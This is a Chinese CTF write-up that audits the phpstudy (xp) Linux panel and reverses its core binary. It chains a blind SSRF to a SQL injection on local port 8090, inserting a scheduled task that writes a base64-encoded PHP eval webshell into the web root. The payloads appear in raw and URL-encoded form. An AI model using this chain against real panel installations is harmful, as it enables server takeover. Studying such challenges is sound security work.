R3PHP
第一次遇到了结合代码审计,逆向的web题目,狠狠开拓眼界了
原题:
<?php
error_reporting(0);
if(strpos($_REQUEST['url'],"http")===0){
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>$_REQUEST['header'])
);
$context = stream_context_create($opts);
$file = file_get_contents($_REQUEST['url'], false, $context);
// echo $file; # no show for u
}else{
echo "hacker!";
}
highlight_file(__FILE__);
?>
应该是出题人的人说
First, by reading the code, you can know that it is a blind
ssrf
, and then you can also pass theheader
header
After casually entering aurl
, I found that404
isphpstudy
, and I can tell that it is a small skin panel oflinux
.
The code of phpstudy Panel, audit found that all requests go through port 8090:首先,通过阅读代码,你可以知道它是一个盲的 'ssrf',然后你也可以传递 'header' 头
随便输入一个'url'后,我发现'404'是'phpstudy',我看得出来是'linux'的一个小皮肤面板。
phpstudy Panel 的代码,审计发现所有请求都经过 8090 端口:
可以看出来是他并不像常规的ssrf读取文件外带,或者内网扫描,而是需要通过代码审计来获得解题之道
访问一个不存在的路径
可以看到一个xp面板的错误地址,下载xp面板看看他的代码,要获取代码需要通过官网先获得部署脚本,在部署脚本中
#!/bin/bash
LANG=en_US.UTF-8
randNum=$RANDOM
urlPrefix="https://notdocker.xp.cn"
... 忽略多余
Install_WebPanel()
{
mkdir -p /usr/local/phpstudy/web
$wget $urlPrefix/web/web.tar.xz -O /usr/local/phpstudy/web/web.tar.xz
xz -dv /usr/local/phpstudy/web/web.tar.xz
tar -xvf /usr/local/phpstudy/web/web.tar -C /usr/local/phpstudy/web
rm -rf /usr/local/phpstudy/web/web.tar
}
有关代码通过这里拼接上网址,也就是访问https://notdocker.xp.cn/web/web.tar.xz
获得php代码后,先找到登入的逻辑,一步步来代码位置位于account.php
中,判断了type后通过post获取了username与password,符合登入时候的流量特征
$type = post('type');// post获得type标签
if(!$type){
$type = get('type');
}
if($type=='login'){
// 获取提交的用户名、密码和验证码
$username = post('username'); // 获取username
$pwd = post('password'); // 获取password
$verifycode = post('verifycode'); // 获取验证码
// 验证码只在PHP中判断,后端没有判断
// 如果用户名长度超过16个字符,则返回错误信息
if (strlen($username) > 16) {
xpexit(json_encode(array('code'=>1,'msg'=>'登录失败,用户名或密码不正确')));
}
$username = htmlspecialchars($username);
// 调用 Account 类的 login 方法进行登录验证
$res = Account::login($username, $pwd, $verifycode);
// 将验证结果转换为 JSON 格式并输出,并终止脚本的执行
xpexit(json_encode($res));
}
这里他将数据发送到了Account类,这个类位于Account.php中,注意大小写不同
代码如下
<?php
/**
* 帐号控制
*/
class Account{
// 登录
public static function login($username,$pwd,$verifycode){
// 检查用户名是否为空
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
// 检查密码是否为空
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
// 如果会话未启动,则启动会话
if(!sessionStarted()){
sessionStart();
}
// 检查验证码是否正确
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
// 构造登录请求数据
$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
// 发起登录请求并获取结果
$res = Socket::request($request);
// 如果请求失败,则返回错误信息
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
// 解析返回结果
$res = json_decode($res,true);
// 如果登录失败,返回对应错误信息
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
// 如果登录成功
if($res['result'] == 0){
// 进行token校验
$_SESSION['this_token'] = $res['token'];
// 设置access_token
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
// 返回登录成功信息
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}
}
// 退出登录
public static function logout(){
// 如果会话未启动,则启动会话
if(!sessionStarted()){
sessionStart();
}
// 清除管理员会话信息
unset($_SESSION['admin']);
// 销毁会话
distorySession();
// 返回退出成功信息
$res = array('code'=>0,'msg'=>'退出成功','data'=>null);
return $res;
}
}
根据构造的请求的代码不难反推出来发送给服务器的请求是这样的
{"command": "login","data": {"username": "提交的用户名","pwd": "提交的密码"}}
接着往下跟踪,编码完成的数据传入了Socket类,位于socket.php中
<?php
require_once 'common.php';
/**
* 网络通信模块
*/
class Socket{
// 发送请求的方法
public static function request($data){
// 报告所有错误
error_reporting(E_ALL);
// 设置脚本的最大执行时间为无限制
set_time_limit(0);
// 定义服务器主机和端口
$host = "127.0.0.1";
$port = 8090;
// 创建一个套接字
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 设置套接字选项:接收超时时间2秒
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
// 设置套接字选项:发送超时时间6秒
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
// 尝试连接到服务器
$connection = @socket_connect($socket, $host, $port);
if(!$connection){
// 如果连接失败,记录日志并返回false
file_put_contents('socket.log', 'cannot connect to '.$host.':'.$port.' at '.date('Y-m-d H:i:s')."\r\n", FILE_APPEND);
return false;
}
$_data = json_decode($data, true);
// 如果会话中存在token,则添加到请求数据中
if (isset($_SESSION['this_token'])) {
$_data['token'] = $_SESSION['this_token'];
}
$data = json_encode($_data);
// 在数据末尾添加结束标记'^^^'
$data .= '^^^';
// 发送数据到服务器
socket_write($socket, $data, strlen($data));
// 初始化响应变量
$res = '';
// 循环读取服务器的响应数据
while ($buff = socket_read($socket, 1024)) {
// 检测数据的编码
$encoding = mb_detect_encoding($buff, array("ASCII", 'UTF-8', "GB2312", "GBK", 'BIG5'));
// 如果编码是EUC-CN,将其转换为UTF-8
if ($encoding == 'EUC-CN') {
$buff = iconv('GBK', 'UTF-8', $buff);
}
// 累加读取的缓冲区数据到响应中
$res .= $buff;
// 如果检测到结束标记'^^^',关闭套接字并跳出循环
if (substr($res, -3) == '^^^') {
socket_close($socket);
break;
}
}
// 移除响应末尾的结束标记'^^^'
$res = rtrim($res, '^^^');
// 如果响应为'ipdeny',返回IP禁止访问的消息
if ($res == 'ipdeny') {
xpexit(json_encode(array('code' => 403, 'msg' => '该IP被禁止访问')));
}
// 如果不是登录命令,检查token的有效性
if ($_data['command'] != 'login') {
$res_ = json_decode($res, true);
if (isset($res_['result']) && $res_['result'] == -2) {
// 如果token无效,销毁会话并返回用户已经在其他地方登录的信息
distorySession();
xpexit(json_encode(array('code' => 1001, 'msg' => '您已经在其他地方登录过了,即将退出当前页面')));
}
}
// 返回服务器的响应
return $res;
}
}
这里就可以看到两个关键信息一个是服务器本地验证的端口与结尾信息处理的部分往信息末尾加入自定义的结束标记^^^
这样我们就完全了解php与服务器的交互方式,php在获取用户输入的登入信息后验证验证码后将登入信息打包为json后发送给本地的8090端口,数据格式如下
{"command":"login","data":{"username":"admin","pwd":"1234568"}}^^^
我们可以尝试用nc来交互试试
同时可以发现与其交互的时候可以一次执行两条就像这样,这点很重要 后面要考()
程序逆向
xp的核心程序的下载位置位于https://notdocker.xp.cn/system/system.tar.gz
解压后可以看到phpstudy
这个程序,直接放入idapro可以看到他应该是加了一层upx的壳
简简单单给他脱了
逛一逛能看到不少个sql语句,可以尝试下sql注入
经过测试可以发现username存在注入
应为/www/admin/localhost_80/wwwroot是默认情况下网页根目录的,因此可以构造出一个计划任务来写入paylaod
{"command":"login","data":{"username":"admin';INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION) VALUES('1',1,'N分钟','1','4','echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOzs/Pgo=|base64 -d > /www/admin/localhost_80/wwwroot/shell.php','6',1,1,0,'7','8');--","pwd":"123456"}}^^^
通过nc执行后回到后台可以看见
靶机
完成到这一步就可以尝试对靶机下手了,回看题目代码不难看出起是一个无回显的ssrf,传入要求是url的开头必须为http,而header完全可控,让他往我们的服务器发起请求
那么思路就很清晰了,通过http请求往本地的8090端口做sql注入完成计划任务写shell,paylaod构建
url=http://127.0.0.1:8090/_%5E%5E%5E%7B%22command%22:%22login%22,%22data%22:%7B%22username%22:%22admin';INSERT%20INTO%20TASKMNG%20(TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION)%20%20%20VALUES('1',1,'N%E5%88%86%E9%92%9F','1','4','echo%20PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOzs/Pgo=%7Cbase64%20-d%20%3E%20/www/admin/localhost_80/wwwroot/shell.php','6',1,1,0,'7','8');--%22,%22pwd%22:%22123456%22%7D%7D%5E%5E%5E&header=a=1%0a%0db=2
/index.php?url=http://127.0.0.1:8090/_^^^{"command":"login","data":{"username":"admin';INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION) VALUES('1',1,'N分钟','1','4','echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOzs/Pgo=|base64 -d > /www/admin/localhost_80/wwwroot/shell.php','6',1,1,0,'7','8');--","pwd":"123456"}}^^^&header=a=1
b=2
服务器接收到的请求应该会是
[root@iZt4n85avzzv7ydynyudlaZ ~]# nc -l 7788
GET /_^^^{"command":"login","data":{"username":"admin';INSERT INTO TASKMNG (TITLE,TYPE,CYCLE,TIME,ADDTIME,SHELL,SITES,UID,PCS,TASK_TYPE,DBS,ACTION) VALUES('1',1,'N分钟','1','4','echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOzs/Pgo=|base64 -d > /www/admin/localhost_80/wwwroot/shell.php','6',1,1,0,'7','8');--","pwd":"123456"}}^^^ HTTP/1.0
Host: 127.0.0.1:8090
a=1
理论上他能正常工作 但是无论是在我的本地环境还是在在线靶机中都无法正常解题,无法理解